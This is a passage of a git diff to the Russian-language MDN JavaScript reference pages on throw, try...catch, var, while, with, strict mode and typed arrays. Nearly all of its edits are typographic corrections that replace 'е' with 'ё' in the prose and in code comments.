b/files/ru/web/javascript/reference/statements/throw/index.html @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Statements/throw <h2 id="Description" name="Description">Описание</h2> -<p>Используйте инструкцию throw для генерирования исключения. Когда вы генерируете исключение (throw), <em>выражение</em> задает значение исключения. Каждое из следующих throw создает исключение:</p> +<p>Используйте инструкцию throw для генерирования исключения. Когда вы генерируете исключение (throw), <em>выражение</em> задаёт значение исключения. Каждое из следующих throw создаёт исключение:</p> <pre class="brush: js">throw "Error2"; // генерирует исключение, значением которого является строка throw 42; // генерирует исключение, значением которого является число 42 @@ -35,11 +35,11 @@ throw true; // генерирует исключение, значением <h3 id="Example:_Throw_an_object" name="Example:_Throw_an_object">Пример: Генерирование объекта в качестве исключения</h3> -<p>Можно указать объект в качестве исключения. Затем можно получить ссылку на этот объект и доступ ко всем его свойствам в блоке catch. Следующий пример создает объект ошибки, который имеет тип UserException, и используется для генерации исключения.</p> +<p>Можно указать объект в качестве исключения. Затем можно получить ссылку на этот объект и доступ ко всем его свойствам в блоке catch. Следующий пример создаёт объект ошибки, который имеет тип UserException, и используется для генерации исключения.</p> <pre class="brush: js">function UserException(message) { this.message = message; - this.name = "Исключение, определенное пользователем"; + this.name = "Исключение, определённое пользователем"; } function getMonthName(mo) { mo = mo-1; // Нужно скорректировать номер месяца согласно индексам массива (1=Jan, 12=Dec) @@ -54,11 +54,11 @@ function getMonthName(mo) { try { // statements to try - var myMonth = 15; // 15 находится вне границ массива, что приведет к исключению + var myMonth = 15; // 15 находится вне границ массива, что приведёт к исключению var monthName = getMonthName(myMonth); } catch (e) { monthName = "неизвестен"; - logMyErrors(e.message, e.name); // передаем исключение в обработчик ошибок + logMyErrors(e.message, e.name); // передаём исключение в обработчик ошибок } </pre> @@ -67,7 +67,7 @@ try { <p>Следующий пример проверяет, является ли строка, переданная в функцию, почтовым индексом США. Если индекс имеет недопустимый формат, будет сгенерировано исключение посредством создания объекта, имеющего тип <code>ZipCodeFormatException</code>.</p> <pre class="brush: js">/* - * Создает объект ZipCode. + * Создаёт объект ZipCode. * * Допустимые форматы почтового индекса: * 12345 @@ -125,16 +125,16 @@ function verifyZipCode(z) { return z; } -a = verifyZipCode(95060); // вернет 95060 -b = verifyZipCode(9560); // вернет -1 -c = verifyZipCode("a"); // вернет -1 -d = verifyZipCode("95060"); // вернет 95060 -e = verifyZipCode("95060 1234"); // вернет 95060 1234 +a = verifyZipCode(95060); // вернёт 95060 +b = verifyZipCode(9560); // вернёт -1 +c = verifyZipCode("a"); // вернёт -1 +d = verifyZipCode("95060"); // вернёт 95060 +e = verifyZipCode("95060 1234"); // вернёт 95060 1234 </pre> <h3 id="Example:_Rethrow_an_exception" name="Example:_Rethrow_an_exception">Пример: Повторный выброс исключения</h3> -<p>Можно использовать throw для повторного выброса исключения после того, как оно было поймано. В следующем примере ловится исключение с числовым значением и делается повторный выброс, если его значение больше 50. Повторно выброшенное исключение передается далее в вызывающую функцию или до верхнего уровня, который видит пользователь.</p> +<p>Можно использовать throw для повторного выброса исключения после того, как оно было поймано. В следующем примере ловится исключение с числовым значением и делается повторный выброс, если его значение больше 50. Повторно выброшенное исключение передаётся далее в вызывающую функцию или до верхнего уровня, который видит пользователь.</p> <pre class="brush: js">try { throw n; // бросаем исключение с числовым значением diff --git a/files/ru/web/javascript/reference/statements/try...catch/index.html b/files/ru/web/javascript/reference/statements/try...catch/index.html index 241bc90d83..a18bf95b37 100644 --- a/files/ru/web/javascript/reference/statements/try...catch/index.html +++ b/files/ru/web/javascript/reference/statements/try...catch/index.html @@ -86,7 +86,7 @@ catch (e) { } </pre> -<p>Блок <code>catch</code> задает идентификатор (<code>e</code> в примере выше) который содержит объект исключения (в примере выше — значение, переданное оператору <code>throw</code>). Область видимости этого объекта ограничивается блоком <code>catch</code>.</p> +<p>Блок <code>catch</code> задаёт идентификатор (<code>e</code> в примере выше) который содержит объект исключения (в примере выше — значение, переданное оператору <code>throw</code>). Область видимости этого объекта ограничивается блоком <code>catch</code>.</p> <h3 id="Условный_блок_catch">Условный блок <code>catch</code></h3> diff --git a/files/ru/web/javascript/reference/statements/var/index.html b/files/ru/web/javascript/reference/statements/var/index.html index fd0ca7f862..78b2f5edcd 100644 --- a/files/ru/web/javascript/reference/statements/var/index.html +++ b/files/ru/web/javascript/reference/statements/var/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/var --- <div>{{jsSidebar("Statements")}}</div> -<p>Оператор <strong>var </strong>объявляет переменную, инициализируя ее, при необходимости.</p> +<p>Оператор <strong>var </strong>объявляет переменную, инициализируя её, при необходимости.</p> <p>{{EmbedInteractiveExample("pages/js/statement-var.html")}}</p> @@ -80,7 +80,7 @@ bla = 2; <p>Поэтому объявление переменных рекомендовано выносить в начало их области видимости (в начало глобального кода или в начало функции). Это даёт понять какие переменные принадлежат функции (т.е. являются локальными), а какие обрабатываются в цепи областей видимости (т.е. являются глобальными).</p> -<p>Важно отметить, что подъем будет влиять на объявление переменной, но не на инициализацию ее значения. Значение присваивается при выполнении оператора присваивания:</p> +<p>Важно отметить, что подъем будет влиять на объявление переменной, но не на инициализацию её значения. Значение присваивается при выполнении оператора присваивания:</p> <pre class="brush: js">function do_something() { console.log(bar); // выведет undefined @@ -153,7 +153,7 @@ console.log(x, y);</pre> <pre class="brush: js">var x = 0; // x объявлена глобально, затем присваивается значение 0 -console.log(typeof z); // undefined, пока еще z не существует +console.log(typeof z); // undefined, пока ещё z не существует function a() { // когда функция a вызвана, var y = 2; // y объявляется локально в функции a, затем присваивается 2 @@ -163,10 +163,10 @@ function a() { // когда функция a вызвана, function b() { // когда функция b вызвана x = 3; // присваивается 3 существующей глобальной x y = 4; // присваивается 4 существующей внешней y - z = 5; // создается новая глобальная переменная z и присваивается значение 5. + z = 5; // создаётся новая глобальная переменная z и присваивается значение 5. } // (Порождает ReferenceError в strict mode(<em>строгом</em> режиме).) - b(); // вызов b создает z как глобальную переменную + b(); // вызов b создаёт z как глобальную переменную console.log(x, y, z); // 3 4 5 } diff --git a/files/ru/web/javascript/reference/statements/while/index.html b/files/ru/web/javascript/reference/statements/while/index.html index 1baf54a1f4..4c367fc488 100644 --- a/files/ru/web/javascript/reference/statements/while/index.html +++ b/files/ru/web/javascript/reference/statements/while/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Statements/while --- <div>{{jsSidebar("Statements")}}</div> -<p><strong>Оператор while</strong> создает цикл, выполняющий заданную инструкцию, пока истинно проверяемое условие. Логическое значение условия вычисляется перед исполнением тела цикла.</p> +<p><strong>Оператор while</strong> создаёт цикл, выполняющий заданную инструкцию, пока истинно проверяемое условие. Логическое значение условия вычисляется перед исполнением тела цикла.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/javascript/reference/statements/with/index.html b/files/ru/web/javascript/reference/statements/with/index.html index 208863d500..e28aedee90 100644 --- a/files/ru/web/javascript/reference/statements/with/index.html +++ b/files/ru/web/javascript/reference/statements/with/index.html @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Statements/with <p><strong>Pro:</strong> Оператор <strong>with</strong> может помочь уменьшить размер файла, уменьшив необходимость повторять длинную ссылку на объект без снижения производительности. Изменение цепочки контекста, необходимое для 'with', не требует больших вычислительных затрат. Использование 'with' избавит интерпретатор от разбора повторных ссылок на объекты. Однако, обратите внимание, что во многих случаях это преимущество может быть достигнуто с помощью временной переменной для хранения ссылки на нужный объект.</p> -<p><strong>Contra:</strong> Оператор <strong>with</strong> заставляет указанный объект быть найденным сначала среди всех имен поиска. Поэтому все идентификаторы, которые не относятся к указанному объекту, будут обнаруживаться медленнее в блоке «<strong>with</strong>. Там, где важна производительность, «with» следует использовать только для охвата блоков кода, которые обращаются к членам указанного объекта.</p> +<p><strong>Contra:</strong> Оператор <strong>with</strong> заставляет указанный объект быть найденным сначала среди всех имён поиска. Поэтому все идентификаторы, которые не относятся к указанному объекту, будут обнаруживаться медленнее в блоке «<strong>with</strong>. Там, где важна производительность, «with» следует использовать только для охвата блоков кода, которые обращаются к членам указанного объекта.</p> <h3 id="Ambiguity_contra">Ambiguity contra</h3> diff --git a/files/ru/web/javascript/reference/strict_mode/index.html b/files/ru/web/javascript/reference/strict_mode/index.html index 7b35f93897..fbf4446b55 100644 --- a/files/ru/web/javascript/reference/strict_mode/index.html +++ b/files/ru/web/javascript/reference/strict_mode/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Strict_mode --- <div>{{JsSidebar("More")}}</div> -<p>Режим <em>strict</em> (<em>строгий</em> режим), введенный в <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a>, позволяет использовать более строгий вариант JavaScript. Это не просто подмножество языка: в нем сознательно используется семантика, отличающаяся от обычно принятой. Не поддерживающие строгий режим браузеры будут по-другому выполнять код, написанный для строгого режима, поэтому не полагайтесь на строгий режим без тестирования поддержки используемых особенностей этого режима. Строгий и обычный режим могут сосуществовать одновременно, а скрипт может переключаться в строгий режим по мере надобности.</p> +<p>Режим <em>strict</em> (<em>строгий</em> режим), введённый в <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a>, позволяет использовать более строгий вариант JavaScript. Это не просто подмножество языка: в нем сознательно используется семантика, отличающаяся от обычно принятой. Не поддерживающие строгий режим браузеры будут по-другому выполнять код, написанный для строгого режима, поэтому не полагайтесь на строгий режим без тестирования поддержки используемых особенностей этого режима. Строгий и обычный режим могут сосуществовать одновременно, а скрипт может переключаться в строгий режим по мере надобности.</p> <p>Строгий режим принёс ряд изменений в обычную семантику JavaScript. Во-первых, строгий режим заменяет исключениями некоторые ошибки, которые интерпретатор JavaScript ранее молча пропускал. Во-вторых, строгий режим исправляет ошибки, которые мешали движкам JavaScript выполнять оптимизацию -- в некоторых случаях код в строгом режиме может быть оптимизирован для более быстрого выполнения, чем код в обычном режиме. В-третьих, строгий режим запрещает использовать некоторые элементы синтаксиса, которые, вероятно, в следующих версиях ECMAScript получат особый смысл.</p> @@ -18,11 +18,11 @@ translation_of: Web/JavaScript/Reference/Strict_mode <h2 id="Активизация_строгого_режима">Активизация строгого режима</h2> -<p>Строгий режим применяется ко <em>всему скрипту</em> или к <em>отдельным функциям</em>. Он не может быть применён к блокам операторов, заключенных в фигурные скобки -- попытка использовать его в подобном контексте будет проигнорирована. Код в <code>eval</code>, <code>Function</code>, в атрибутах обработчиков событий, в строках, переданных в <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout"><code>setTimeout</code></a>, и т.п. рассматривается как законченный скрипт, и активизация строгого режима в нём выполняется ожидаемым образом.</p> +<p>Строгий режим применяется ко <em>всему скрипту</em> или к <em>отдельным функциям</em>. Он не может быть применён к блокам операторов, заключённых в фигурные скобки -- попытка использовать его в подобном контексте будет проигнорирована. Код в <code>eval</code>, <code>Function</code>, в атрибутах обработчиков событий, в строках, переданных в <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout"><code>setTimeout</code></a>, и т.п. рассматривается как законченный скрипт, и активизация строгого режима в нём выполняется ожидаемым образом.</p> <h3 id="Строгий_режим_для_скриптов">Строгий режим для скриптов</h3> -<p>Чтобы активизировать строгий режим для всего скрипта, нужно поместить оператор <code>"use strict";</code> или <code>'use strict';</code> перед всеми остальными операторами скрипта (выдержать приведенный синтаксис буквально).</p> +<p>Чтобы активизировать строгий режим для всего скрипта, нужно поместить оператор <code>"use strict";</code> или <code>'use strict';</code> перед всеми остальными операторами скрипта (выдержать приведённый синтаксис буквально).</p> <pre class="brush: js">// Синтаксис переключения в строгий режим всего скрипта "use strict"; @@ -74,11 +74,11 @@ mistypeVaraible = 17; // mistypedVaraible, эта строка выбросит <pre class="brush: js">"use strict"; -<code>// Присваивание значения глобальной переменной, защищенной от записи +<code>// Присваивание значения глобальной переменной, защищённой от записи var undefined = 5; // выдаст TypeError var Infinity = 5; // выдаст TypeError </code> -// Присваивание значения свойству, защищенному от записи +// Присваивание значения свойству, защищённому от записи var obj1 = {}; Object.defineProperty(obj1, "x", { value: 42, writable: false }); obj1.x = 9; // выдаст TypeError @@ -133,7 +133,7 @@ var sum = 015 + // !!! синтаксическая ошибка console.log(sumWithOctal); // 16</code> </pre> -<p>В-седьмых, строгий режим в ECMAScript 2015 запрещает установку свойств {{Glossary("primitive")}} значениям. Без строгого режима, установка свойств просто игнорируется (no-op), со строгим режимом, однако, выдает {{jsxref ("TypeError")}}.</p> +<p>В-седьмых, строгий режим в ECMAScript 2015 запрещает установку свойств {{Glossary("primitive")}} значениям. Без строгого режима, установка свойств просто игнорируется (no-op), со строгим режимом, однако, выдаёт {{jsxref ("TypeError")}}.</p> <pre><code>(function() { 'use strict'; @@ -146,7 +146,7 @@ false.true = ''; // TypeError <h3 id="Упрощение_работы_с_переменными">Упрощение работы с переменными</h3> -<p>Строгий режим упрощает сопоставление имени переменной с местом ее определения в коде. Многие оптимизации времени компиляции полагаются на возможность считать, что переменная <em>X</em> хранится в <em>этом конкретном </em>месте исходного кода. Иногда, при компиляции JavaScript простое сопоставление имени переменной с местом ее определения в коде не возможно, без выполнения того самого кода. Строгий же режим исключает большинство таких случаев, благодаря чему оптимизации компилятора работают эффективнее.</p> +<p>Строгий режим упрощает сопоставление имени переменной с местом её определения в коде. Многие оптимизации времени компиляции полагаются на возможность считать, что переменная <em>X</em> хранится в <em>этом конкретном </em>месте исходного кода. Иногда, при компиляции JavaScript простое сопоставление имени переменной с местом её определения в коде не возможно, без выполнения того самого кода. Строгий же режим исключает большинство таких случаев, благодаря чему оптимизации компилятора работают эффективнее.</p> <p>Во-первых, строгий режим запрещает использование <code>with</code>. Проблема с <code>with</code> в том, что во время выполнения любое имя внутри блока может ссылаться как на свойство обрабатываемого объекта, так и на переменную в окружающем (или даже в глобальном) контексте -- невозможно знать об этом заранее. Строгий режим считает <code>with</code> синтаксической ошибкой, поэтому не остаётся шанса использовать имя переменной внутри <code>with</code> для ссылки на неизвестное место во время выполнения:</p> @@ -206,7 +206,7 @@ eval('var y; delete y;'); // !!! </code>синтаксическая ошибк <h3 id="Упрощение_eval_и_arguments">Упрощение <code>eval</code> и <code>arguments</code></h3> -<p>В строгом режиме снижается количество странностей в поведении <code>arguments</code> и <code>eval</code>, оба из которых примешивают определённое количество магии в обычный код. Так <code>eval</code> добавляет или удаляет переменные и меняет их значения, а переменная <code>arguments</code> может удивить своими проиндексированными свойствами, которые являются ссылками (синонимами) для поименованных аргументов функции. Строгий режим делает большой шаг в прояснении этих двух ключевых слов, но полное их обуздание произойдет лишь в следующей редакции ECMAScript.</p> +<p>В строгом режиме снижается количество странностей в поведении <code>arguments</code> и <code>eval</code>, оба из которых примешивают определённое количество магии в обычный код. Так <code>eval</code> добавляет или удаляет переменные и меняет их значения, а переменная <code>arguments</code> может удивить своими проиндексированными свойствами, которые являются ссылками (синонимами) для поименованных аргументов функции. Строгий режим делает большой шаг в прояснении этих двух ключевых слов, но полное их обуздание произойдёт лишь в следующей редакции ECMAScript.</p> <p>Во-первых, ключевые слова <code>eval</code> и <code>arguments</code> не могут быть переопределены или изменены. Все подобные попытки это сделать являются синтаксическими ошибками:</p> @@ -235,7 +235,7 @@ console.assert(pair[0] === 42); console.assert(pair[1] === 17); </pre> -<p>В-третьих, свойство <code>arguments.callee</code> больше не поддерживается. В обычном коде свойство <code>arguments.callee</code> ссылается на саму функцию для вызова которой и был создан объект <code>arguments</code>. Малоприменимое свойство, так как функция заранее известна, и к ней можно обратиться и по ее имени непосредственно. Более того, <code>arguments.callee</code> значительно затрудняет такую оптимизацию, как <a href="https://ru.wikipedia.org/wiki/Межпроцедурная_оптимизация#Инлайнинг">инлайнинг</a>, потому как должна быть сохранена возможность обратиться к незаинлайненой функции на случай, если присутствует обращение к arguments.callee. В строгом режиме arguments.callee превращается в неудаляемое свойство, которое выбрасывает предостерегающее исключение при любой попытке обращения к нему:</p> +<p>В-третьих, свойство <code>arguments.callee</code> больше не поддерживается. В обычном коде свойство <code>arguments.callee</code> ссылается на саму функцию для вызова которой и был создан объект <code>arguments</code>. Малоприменимое свойство, так как функция заранее известна, и к ней можно обратиться и по её имени непосредственно. Более того, <code>arguments.callee</code> значительно затрудняет такую оптимизацию, как <a href="https://ru.wikipedia.org/wiki/Межпроцедурная_оптимизация#Инлайнинг">инлайнинг</a>, потому как должна быть сохранена возможность обратиться к незаинлайненой функции на случай, если присутствует обращение к arguments.callee. В строгом режиме arguments.callee превращается в неудаляемое свойство, которое выбрасывает предостерегающее исключение при любой попытке обращения к нему:</p> <pre class="brush: js">"use strict"; var f = function() { return arguments.callee; }; @@ -244,7 +244,7 @@ f(); // выдаст TypeError <h3 id="Безопасный_JavaScript">"Безопасный" JavaScript</h3> -<p>Строгий режим упрощает написание "безопасного" JavaScript кода. Сейчас некоторые веб-сайты предоставляют пользователям возможность писать JavaScript, который будет выполняться на сайте <em>от имени других пользователей. </em>В браузерах, JavaScript может иметь доступ к приватной информации пользователя, поэтому, в целях ограничения доступа к запретной функциональности, такой JavaScript перед выполнением должен быть частично преобразован. Гибкость JavaScript делает это практически невозможным без многочисленных проверок во время исполнения. Функционал, исполняемый языком иногда столь массивен, что выполнение любых дополнительных проверок во время исполнения скрипта приведет к значительной потере производительности. Однако, некоторые особенности строгого режима, плюс обязательное требование того, чтобы JavaScript, загруженный пользователем, имел строгий режим и вызывался определенным способом, существенно снижают потребность в таких проверках.</p> +<p>Строгий режим упрощает написание "безопасного" JavaScript кода. Сейчас некоторые веб-сайты предоставляют пользователям возможность писать JavaScript, который будет выполняться на сайте <em>от имени других пользователей. </em>В браузерах, JavaScript может иметь доступ к приватной информации пользователя, поэтому, в целях ограничения доступа к запретной функциональности, такой JavaScript перед выполнением должен быть частично преобразован. Гибкость JavaScript делает это практически невозможным без многочисленных проверок во время исполнения. Функционал, исполняемый языком иногда столь массивен, что выполнение любых дополнительных проверок во время исполнения скрипта приведёт к значительной потере производительности. Однако, некоторые особенности строгого режима, плюс обязательное требование того, чтобы JavaScript, загруженный пользователем, имел строгий режим и вызывался определённым способом, существенно снижают потребность в таких проверках.</p> <p>Во-первых, значение, передаваемое в функцию как <code>this</code>, в строгом режиме не приводится к объекту (не "упаковывается"). В обычной функции <code>this</code> всегда представляет собой объект: либо это непосредственно объект, в случае вызова с <code>this</code>, представляющим объект-значение; либо значение, упакованное в объект, в случае вызова с <code>this</code> типа Boolean, string, или number; либо глобальный объект, если тип <code>this</code> это <code>undefined</code> или <code>null</code>. (Для точного определения конкретного <code>this</code> используйте <code>{{jsxref('Global_Objects/Function/call', 'call')}}</code>, <code>{{jsxref('Global_Objects/Function/apply', 'apply')}}</code>, или <code>{{jsxref('Global_Objects/Function/bind', 'bind')}}</code>.) Автоматическая упаковка не только снижает производительность, но и выставляет на показ глобальный объект, что в браузерах является угрозой безопасности, потому что глобальный объект предоставляет доступ к функциональности, которая должна быть ограничена в среде "безопасного" JavaScript. Таким образом, для функции в строгом режиме точно определённый <code>this</code> не упаковывается в объект, а если не определён точно, <code>this</code> является <code>undefined</code>:</p> @@ -304,7 +304,7 @@ function fun(static) { 'use strict'; } // !!! </pre> -<p>Два замечания, специфичных для Mozilla: Первое, если ваш код создан на JavaScript 1.7 или выше (например, chrome code, или тег <code><script type=""></code> заполнен правильно), и применен строгий режим, то <code>let</code> и <code>yield</code> имеют ту же функциональность, которая у них была изначально, когда они только появились. Однако в веб, в строгом коде загруженном через <code><script src=""></code> или <code><script>...</script></code>, нельзя будет использовать <code>let</code>/<code>yield</code> в качестве идентификаторов. Второе, в то время как ES5 зарезервировал слова <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code> и <code>super</code> для любого режима, в Firefox 5 Mozilla они были зарезервированы намного раньше и лишь для строгого режима.</p> +<p>Два замечания, специфичных для Mozilla: Первое, если ваш код создан на JavaScript 1.7 или выше (например, chrome code, или тег <code><script type=""></code> заполнен правильно), и применён строгий режим, то <code>let</code> и <code>yield</code> имеют ту же функциональность, которая у них была изначально, когда они только появились. Однако в веб, в строгом коде загруженном через <code><script src=""></code> или <code><script>...</script></code>, нельзя будет использовать <code>let</code>/<code>yield</code> в качестве идентификаторов. Второе, в то время как ES5 зарезервировал слова <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code> и <code>super</code> для любого режима, в Firefox 5 Mozilla они были зарезервированы намного раньше и лишь для строгого режима.</p> <p>Во-вторых, <a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">в строгом режиме запрещается объявление функций глубже самого верхнего уровня скрипта или функции</a>. В обычном коде в браузерах, объявление функций позволено "везде", <em>что не является частью ES5 (или даже ES3!)</em> Это расширение различных браузеров, не имеющее общего совместимого подхода. Есть надежда, что в последующих редакциях ECMAScript будет определена новая семантика для объявления функций вне верхнего уровня скрипта или функции. <a class="external" href="http://wiki.ecmascript.org/doku.php?id=conventions:no_non_standard_strict_decls">Запрет на объявление таких функций в строгом режиме</a> производит "зачистку" для спецификации в будущем релизе ECMAScript:</p> @@ -326,7 +326,7 @@ function baz() { // верно <h2 id="Строгий_режим_в_браузерах">Строгий режим в браузерах</h2> -<p>В большинстве браузеров в настоящее время строгий режим реализован. Однако не стоит впадать в слепую зависимость от него, потому что существует множество <a class="external external-icon" href="http://caniuse.com/use-strict" rel="external" title="caniuse.com availability of strict mode">Версий браузеров, поддерживающих строгий режим лишь частично</a> или вовсе не поддерживающих оный (например, Internet Explorer ниже версии 10!). <em>Строгий режим изменяет семантику.</em> Надежда на эти изменения приведет к ошибкам и погрешностям в браузерах, в которых строгий режим не реализован. Проявляйте осторожность при использовании строгого режима, и подкрепляйте надежность строгого режима тестами особенностей, которые проверяют, насколько верно реализованы его фрагменты. Наконец, старайтесь <em>тестировать свой код в браузерах, как поддерживающих, так и не поддерживающих строгий режим</em>. Если вы проводите тестирование только в тех браузерах, которые не поддерживают строгий режим, то вполне вероятно у вас появятся проблемы в браузерах, его поддерживающих, и наоборот.</p> +<p>В большинстве браузеров в настоящее время строгий режим реализован. Однако не стоит впадать в слепую зависимость от него, потому что существует множество <a class="external external-icon" href="http://caniuse.com/use-strict" rel="external" title="caniuse.com availability of strict mode">Версий браузеров, поддерживающих строгий режим лишь частично</a> или вовсе не поддерживающих оный (например, Internet Explorer ниже версии 10!). <em>Строгий режим изменяет семантику.</em> Надежда на эти изменения приведёт к ошибкам и погрешностям в браузерах, в которых строгий режим не реализован. Проявляйте осторожность при использовании строгого режима, и подкрепляйте надёжность строгого режима тестами особенностей, которые проверяют, насколько верно реализованы его фрагменты. Наконец, старайтесь <em>тестировать свой код в браузерах, как поддерживающих, так и не поддерживающих строгий режим</em>. Если вы проводите тестирование только в тех браузерах, которые не поддерживают строгий режим, то вполне вероятно у вас появятся проблемы в браузерах, его поддерживающих, и наоборот.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html b/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html index 5447834c4b..4c4b882462 100644 --- a/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html +++ b/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mod --- <div>{{jsSidebar("More")}}</div> -<p>В ECMAScript 5 введен {{jsxref('Strict_mode', 'строгий режим')}}, который реализован во всех основных браузерах (включая IE10). В то время как включение интерпретации браузерами кода в строгом режиме делается очень просто (достаточно добавить <code>"use strict";</code> в верхней части вашего исходного кода), для адаптации уже существующего кода к строгому режиму потребуется немного больше работы.</p> +<p>В ECMAScript 5 введён {{jsxref('Strict_mode', 'строгий режим')}}, который реализован во всех основных браузерах (включая IE10). В то время как включение интерпретации браузерами кода в строгом режиме делается очень просто (достаточно добавить <code>"use strict";</code> в верхней части вашего исходного кода), для адаптации уже существующего кода к строгому режиму потребуется немного больше работы.</p> <p>Цель этой статьи: предоставить для разработчиков руководство по переходу к строгому режиму.</p> @@ -105,15 +105,15 @@ s.opacity = 1; <h4 id="this_в_вызовах_функции"><code>this</code> в вызовах функции</h4> -<p>В функциях как <code>f()</code>, значением <code>this</code> является глобальный объект. В строгом режиме он теперь равен <code>undefined</code>. Когда функция вызывалась с помощью <code>{{jsxref('Global_Objects/Function/call', 'call')}}</code> или <code>{{jsxref('Global_Objects/Function/apply', 'apply')}}</code>, если значением был примитив, он упаковывался в соответствующий объект (или в глобальный объект для <code>undefined</code> и <code>null</code>). В строгом режиме значение передается без каких-либо преобразований и замен.</p> +<p>В функциях как <code>f()</code>, значением <code>this</code> является глобальный объект. В строгом режиме он теперь равен <code>undefined</code>. Когда функция вызывалась с помощью <code>{{jsxref('Global_Objects/Function/call', 'call')}}</code> или <code>{{jsxref('Global_Objects/Function/apply', 'apply')}}</code>, если значением был примитив, он упаковывался в соответствующий объект (или в глобальный объект для <code>undefined</code> и <code>null</code>). В строгом режиме значение передаётся без каких-либо преобразований и замен.</p> <h4 id="arguments_не_является_псевдонимом_именованных_аргументов_функции"><code>arguments</code> не является псевдонимом именованных аргументов функции</h4> -<p>В нестрогом режиме изменение значения в объекте <code>arguments</code> изменяло соответствующий именованный аргумент функции. Это усложняло оптимизацию кода для движков JavaScript и сам код становился менее читабельным и понятным. В строгом режиме объект <code>arguments</code> создается и инициализируется с теми же значениями, что и именованные аргументы, но изменения объекта arguments или именованных аргументов теперь никак не влияют друг на друга.</p> +<p>В нестрогом режиме изменение значения в объекте <code>arguments</code> изменяло соответствующий именованный аргумент функции. Это усложняло оптимизацию кода для движков JavaScript и сам код становился менее читабельным и понятным. В строгом режиме объект <code>arguments</code> создаётся и инициализируется с теми же значениями, что и именованные аргументы, но изменения объекта arguments или именованных аргументов теперь никак не влияют друг на друга.</p> <h4 id="Изменения_в_eval">Изменения в <code>eval</code></h4> -<p>В строгом режиме eval не создает новой переменной в той области видимости, где был вызван. Также, конечно, в строгом режиме, строка выполняется с правилами строгого режима. Потребуется провести тщательное тестирование, чтобы убедиться, что ничего не сломалось. Не использовать eval, если он вам действительно не нужен, может быть другим прагматичным решением.</p> +<p>В строгом режиме eval не создаёт новой переменной в той области видимости, где был вызван. Также, конечно, в строгом режиме, строка выполняется с правилами строгого режима. Потребуется провести тщательное тестирование, чтобы убедиться, что ничего не сломалось. Не использовать eval, если он вам действительно не нужен, может быть другим прагматичным решением.</p> <h2 id="Строго-нейтральный_код">Строго-нейтральный код</h2> diff --git a/files/ru/web/javascript/typed_arrays/index.html b/files/ru/web/javascript/typed_arrays/index.html index d55e398573..82b7830b90 100644 --- a/files/ru/web/javascript/typed_arrays/index.html +++ b/files/ru/web/javascript/typed_arrays/index.html @@ -5,23 +5,23 @@ translation_of: Web/JavaScript/Typed_arrays --- <div>{{JsSidebar("Advanced")}}</div> -<p>Типизированные массивы в JavaScript являются массива-подобными объектами, предоставляющими механизм доступа к сырым двоичным данным. Как вы уже можете знать, массив {{jsxref("Array")}} растет и обрезается динамически, и может содержать элементы любого типа JavaScript. Благодаря оптимизациям JavaScript движков, массивы остаются быстрыми. Однако, со временем, веб-приложения становятся все более и более мощными, появляется необходимость работы с аудио- и видео-данными, требуется доступ к сырым данным WebSocket, и так далее. Становится очевидным, что возможность быстрой и эффективной работы с двоичными данными в JavaScript будет очень полезной, для чего типизированные массивы и предназначены.</p> +<p>Типизированные массивы в JavaScript являются массива-подобными объектами, предоставляющими механизм доступа к сырым двоичным данным. Как вы уже можете знать, массив {{jsxref("Array")}} растёт и обрезается динамически, и может содержать элементы любого типа JavaScript. Благодаря оптимизациям JavaScript движков, массивы остаются быстрыми. Однако, со временем, веб-приложения становятся все более и более мощными, появляется необходимость работы с аудио- и видео-данными, требуется доступ к сырым данным WebSocket, и так далее. Становится очевидным, что возможность быстрой и эффективной работы с двоичными данными в JavaScript будет очень полезной, для чего типизированные массивы и предназначены.</p> -<p>Не следует путать типизированные массивы с обычными массивами: так, например, вызов {{jsxref("Array.isArray()")}} для типизированного массива вернет <code>false</code>. Более того, не все методы, доступные для обычных массивов поддерживаются типизированными массивами (например, push и pop).</p> +<p>Не следует путать типизированные массивы с обычными массивами: так, например, вызов {{jsxref("Array.isArray()")}} для типизированного массива вернёт <code>false</code>. Более того, не все методы, доступные для обычных массивов поддерживаются типизированными массивами (например, push и pop).</p> <h2 id="Буферы_и_представления_архитектура_типизированных_массивов">Буферы и представления: архитектура типизированных массивов</h2> -<p>Для достижения максимальной гибкости и производительности, реализация типизированных массивов в JavaScript разделена на <strong>буферы</strong> и <strong>представления</strong>. Буфер (<a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не дает. Вместо этого, вы можете создать типизированный массив или объект DataView, который можно использовать для чтения и записи данных в ArrayBuffer.'><code>ArrayBuffer</code></a>) –– это объект, представляющий из себя набор данных. Он не имеет формата и не предоставляет возможности доступа к своему содержимому. Для доступа к памяти буфера вам нужно использовать представление. Представление предоставляет контекст: тип данных, начальную позицию в буфере и количество элементов. Это позволяет представить данные в виде типизированного массива.</p> +<p>Для достижения максимальной гибкости и производительности, реализация типизированных массивов в JavaScript разделена на <strong>буферы</strong> и <strong>представления</strong>. Буфер (<a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не даёт. Вместо этого, вы можете создать типизированный массив или 